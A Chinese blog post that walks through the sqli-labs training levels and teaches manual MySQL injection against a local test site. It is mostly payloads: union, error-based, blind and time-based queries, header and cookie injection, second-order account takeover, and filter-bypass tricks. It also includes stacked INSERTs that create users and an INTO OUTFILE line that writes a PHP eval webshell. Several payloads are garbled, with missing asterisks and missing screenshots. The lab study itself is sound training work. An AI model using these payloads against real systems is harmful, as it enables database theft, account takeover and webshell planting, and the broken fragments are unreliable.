下文內容主要給大家帶來mysql手工如何注入詳解,這里所講到的知識,與書籍略有不同,都是億速云專業技術人員在與用戶接觸過程中,總結出來的,具有一定的經驗分享價值,希望給廣大讀者帶來幫助。
http://127.0.0.1/sql/Less-1/?id=1
加’可知可能是字符型注入
用and來確認
說明存在注入
order by查詢字段數
存在3個字段
union select查詢在頁面中顯示的位置
查詢數據庫
查詢表
查字段
查內容
數字型的
使用’可知可能是拼接型的字符型注入
使用and判斷
確定是注入點
order by查詢字段數
使用’以及數值型無法判斷,使用%81也無法判斷,使用”發現可能是雙引號型的注入,并且是帶括號的
使用and
order by
使用’可知可能是字符型注入
使用and
初步確定注入
order by確定字段數
union select查看頁面中顯示位置
失敗,對于注入時沒有在頁面中顯示位置的可使用雙查詢注入方法!
使用雙查詢注入固定公式
union select 1 from (select count(),concat(floor(rand(0)2),(注入語句))a from information_schema.tables group by a)b -- -
查詢表
太多顯示不了,使用limit查詢
http://127.0.0.1/sql/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113 -- -
' or 1 group by concat_ws(0x3b,version(),floor(rand(0)*2)) having min(0) or '1
使用’以及數值型注入無法判斷,使用寬字節無法判斷,使用”進行判斷可知是雙引號型的字符注入
使用and
order by
union select
無返回顯示位,使用雙查詢注入
使用’以及數值型無法判斷,根據less2,猜測可能存在有括號的情況
嘗試把后面的一個and換成注釋,發現失敗
猜測可能后面還有一個括號注釋不了
使用雙括號試試
使用order by
使用union select
沒有回顯,使用雙查詢注入失敗
使用mid函數進行盲注
判斷數據庫長度
AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0X20)),9,1))>1
查詢表
AND ORD(MID((SELECT IFNULL(CAST(table_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7365637572697479 LIMIT 0,1),1,1))>1 -- -
LIMIT 0,1),1,1
0,1第一張表是否存在,一次性查詢一張表
1,1第一個字符是否存在,一次性查詢一個字符
查詢字段
AND ORD(MID((SELECT IFNULL(CAST(column_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.columnS WHERE table_schema=0x7365637572697479 LIMIT 0,1),1,1))>105 -- -
查內容
AND ORD(MID((SELECT IFNULL(CAST(id AS CHAR),0x20) FROM emails limit 0,1),1,1))>48 -- -
使用ascii
')) and(ascii(substr((select(database())),8,1))>1) and sleep(5) -- -
可單獨使用
')) and(ascii(substr((select(database())),8,1))>1) -- -
使用’以及and可知存在注入
order by
union select不返回顯示位
使用雙查詢注入失敗
使用mid
數據庫總共有8個字符
使用’以及數值型無法判斷,使用寬字節無法判斷,使用帶括號無法判斷,使用sleep判斷
帶’試試
初步判斷為基于時間的盲注
使用and
使用mid
使用ascii
' and(ascii(substr((select(database())),9,1))>1) and sleep(5) and '1'='1
使用’以及數值型無法判斷,使用寬字節無法判斷,使用帶括號無法判斷,使用sleep判斷,以及使用單引號的sleep也無法判斷出,根據less4猜測可能是雙引號
使用mid
獲取請求頭參數
post注入
對uname進行注入探測
使用’判斷可能存在注入
使用or進行進一步探測(主要是使用萬能語句來判斷,根據是否成功登陸,使用and的話想對麻煩點)
在使用and來進一步注入
常規字符注入
使用雙查詢
使用mid
使用’以及數值型無法判斷,使用寬字節無法判斷,使用雙引號判斷可能存在注入,且是帶括號型的
使用or
order by
union select
使用’可知是字符型的,且是帶括號的
使用and
order by
union select無返回顯示位
使用雙查詢
union select 1 from (select count(),concat(floor(rand(0)2),(select database()))a from information_schema.tables group by a)b -- -
使用’ 以及 or 以及order by
union select不返回顯示位,雙查詢失敗
使用sleep試試
這里提示是密碼重置,應該是使用update更新語句,在insert、update、delete用法一致的時候,使用payload
or updatexml(2,concat(0x1,(注入語句)),0) or '
and extractvalue(1, concat(0x7f, (select version()),0x7f))
and 1=(select from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)
使用子查詢
' or (SELECT 1 FROM(SELECT count(),concat((SELECT(SELECT concat(0x1, cast(database() as char), 0x1)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or '
通過頁面查看可知本題注入存在于http請求包里面(如果沒有提示的話就得先嘗試登錄框)!
簡單使用’對host以及User-Agent判斷,可知注入點可能是User-Agent
使用and,or,無法進一步判斷,使用sleep進行嘗試
使用子查詢
' or (SELECT 1 FROM(SELECT count(),concat((SELECT(SELECT concat(0x1,cast(database() as char),0x1)) FROM information_schema.tables limit 0,1),floor(rand(0)2))x FROM information_schema.columns group by x)a) or '
' or (SELECT 1 FROM(SELECT count(),concat((SELECT(SELECT concat(0x1,cast(database() as char),0x1))),floor(rand(0)2))x FROM information_schema.columns group by x)a) or '
顯錯注入
' or updatexml(2,concat(0x1,(database()),0x1),0) or '
referer字段可能存在注入
使用’
使用and or失敗,使用sleep
使用子查詢
' or (SELECT 1 FROM(SELECT count(),concat((SELECT(SELECT concat(0x1,cast(database() as char),0x1))),floor(rand(0)2))x FROM information_schema.columns group by x)a) or '
顯錯注入
' or updatexml(2,concat(0x1,(database()),0x1),0) or '
使用’
使用and
union
使用雙查詢
可知cookie是通過base64編碼的
使用’
使用admin') and 1=1 -- -
使用admin') and 1=2 -- -
使用order by
union
admin') and 1=2 union select 1,2,3 -- -
使用’以及數值型,以及寬字節均無法判斷,使用”可初步判斷
使用and
使用admin" and 1=2 union select 1,2,3-- -
使用’
使用and
使用雙查詢失敗
使用顯錯注入
or updatexml(2,concat(0x1,(注入語句)),0) or '
使用子查詢
' and (SELECT 1 FROM(SELECT count(),concat((SELECT(SELECT concat(0x1,cast(database() as char),0x1))),floor(rand(0)2))x FROM information_schema.columns group by x)a) and '
在登錄的地方,請求的地方均未發現存在有注入,登錄進去后發現有一個密碼重置功能,考慮可能是update語句,可使用顯錯注入,但是提交的時候抓包沒發現重置密碼是提交的用戶名,此時考慮可能存在二次注入。
最基本的一個利用方法如下,已知系統中存在有admin這個賬戶,此時我們注冊一個admin’ -- -的用戶,登錄進去后進行修改密碼,這里按理解應該是修改admin’ -- -用戶的密碼,其實不然這是修改admin賬戶的密碼,即使我們不知道admin的原密碼。
由于數據庫設置了用戶名長度,懶得改了,應該是可以使用顯錯注入的!
使用’
使用and或or
可知過濾了and和or關鍵字,使用大小寫失敗
使用雙重嵌套,在and里面嵌套一個and
也可以使用&&的URL編碼%26%26
使用order by
使用’無法判斷,使用數值型可判斷
使用aandnd 1=1
使用’
使用and
過濾了空格以及注釋,以及上一關的and,or,這個可以使用嵌套繞過,或者使用其符號(&& ||)的URL編碼進行繞過!
不使用空格及注釋,使用&&或者||然后在使用顯錯注入
-1%27 %26%26 extractvalue(1,concat(0x1,database()))%26%26'1'='1
-1%27 || extractvalue(1,concat(0x1,database()))||'1'='1
' %26%26 updatexml(2,concat(0x1,(database())),0)%26%26'1'='1
但是如果想繼續往下查詢就會發現空格怎么都需要啊,因此使用其他字符的編碼進行繞過,linux使用%0a,windows使用%0a%0d,有時使用%0a也是可以的,但是我的環境就沒有成功,通過對比可能是我mysql版本問題導致,因此根據自身環境來進行測試,為了忽略這個,因此后面的幾關凡是涉及到過濾空格的代碼我均進行注釋掉,你們只需要知道空格可以使用上面的編碼代替即可!
使用’
使用and
過濾了and,注釋
最后一個截圖我們可知查出來的依舊是id=1的數據,這里考慮可能存在括號
帶上括號試試
不能使用order by,過濾了*不能使用子查詢,不顯示mysql錯誤信息,不能使用顯錯注入,使用union select進行猜測
也可以這樣使用2') aandnd 1=2 union select 1,2,('3
使用’
使用and
過濾了注釋
對于過濾了注釋,所以后面的’就不能注釋,所以可以考慮使用雙查詢以及報錯注入進行嘗試
使用雙查詢
過濾了union select
使用嵌套
過濾了*好,不能使用雙查詢,因此接著使用顯錯注入
' and updatexml(2,concat(0x1,(database())),0) and '1'='1
查詢表,從上可知select使用嵌套不能繞過,因此使用大小寫混淆進行嘗試
使用’以及數值型注入以及寬字節均無法進行判斷,使用雙引號進行判斷
使用and
過濾了注釋
過濾了注釋,使用雙查詢或顯錯注入進行嘗試
過濾了*,不能使用雙查詢,不顯示mysql錯誤信息,不能使用顯錯注入
使用union select進行猜測
使用'
使用and
過濾了注釋
可能存在有括號的情況
不顯示mysql錯誤信息不能使用顯錯注入,過濾了*不能使用雙查詢和子查詢
使用union select進行猜測
過濾了union 和select,使用嵌套失敗
過濾了union select以及后面的一個空格(使用%a0可進行繞過,借的圖)
使用ascii
') and(ascii(substr((sElect(database())),1,1))>114)and('1'='1
同28,但是可以使用注釋符
使用order by
使用union select,同28
使用ascii
使用’
說明有一定的防護,此時我們可以嘗試下編碼,但是沒成功,我們使用HPP(參數污染https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf) 進行下一步的嘗試
使用’
使用and
使用’說明有防護,編碼繞過失敗,使用HPP
使用’以及數值型,寬字節型失敗,使用”
同上探測
說明帶括號雙引號
使用’
從上面可以簡單看出本關使用寬字節,但是我們依舊按照上面的步驟進行,使用數值型無法判斷,使用寬字節(http://eth20.blog.51cto.com/13143704/1962804 )初步判斷可能存在注入
使用and
在查詢表的時候使用十六進制
同上???
使用’,使用數值型無法進行判斷,使用寬字節
使用or
使用雙查詢
使用’失敗
使用數值型
使用order by
同32
同34???
同1,另外就是可以使用;來進行多條語句的執行
';insert into users(id,username,password) values ('39','eth20','eth20')--+
同2
使用’
使用and
不能使用注釋,或者說明后面可能還存在括號
使用子查詢失敗,使用顯錯失敗,使用盲注
使用盲注ascii(可以使用基于時間的)
' and(ascii(substr((select(database())),8,1))>1) and '1'='1
');insert into users(id,username,password) values ('40','eth20','eth20'); and ('1'='1
同39
用戶名隨意
密碼:1';insert into users(id,username,password) values ('42','eth20','eth20')-- -
密碼:1');insert into users(id,username,password) values ('42','eth20','eth20')-- -
同42
同43
通過對比可知注入點是order by后面的參數
使用desc進行對比
使用報錯
(select count() from information_schema.columns group by concat(0x1,(database()),0x1,floor(rand()2)) limit 0,1)
下面這種對于limit后的注入依舊適用
導出文件,寫馬
sort=1 into outfile "F:\phpStudy\WWW\sql\Less-40\eth20.php" lines terminated by 0x203C3F70687020406576616C28245F504F53545B226574683130225D293B3F3E
使用盲注
1 and If(ascii(substr(database(),1,1))=114,0,sleep(5))--+
通46,只是是字符型的
' procedure analyse(extractvalue(rand(),concat(0x1,version())),1)-- -
' and (updatexml(2,concat(0x1,(database())),0)) -- -
使用延時注入1' and If(ascii(substr(database(),1,1))=114,0,sleep(5))--+
同46,不能使用顯錯可使用盲注
使用rand
rand(ascii(left(database(),1))=116)
同47,沒錯誤回顯
延時盲注
1' and (If(ascii(substr((database()),1,1))=114,0,sleep(5)))-- -
對于以上關于mysql手工如何注入詳解,如果大家還有更多需要了解的可以持續關注我們億速云的行業推新,如需獲取專業解答,可在官網聯系售前售后的,希望該文章可給大家帶來一定的知識更新。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。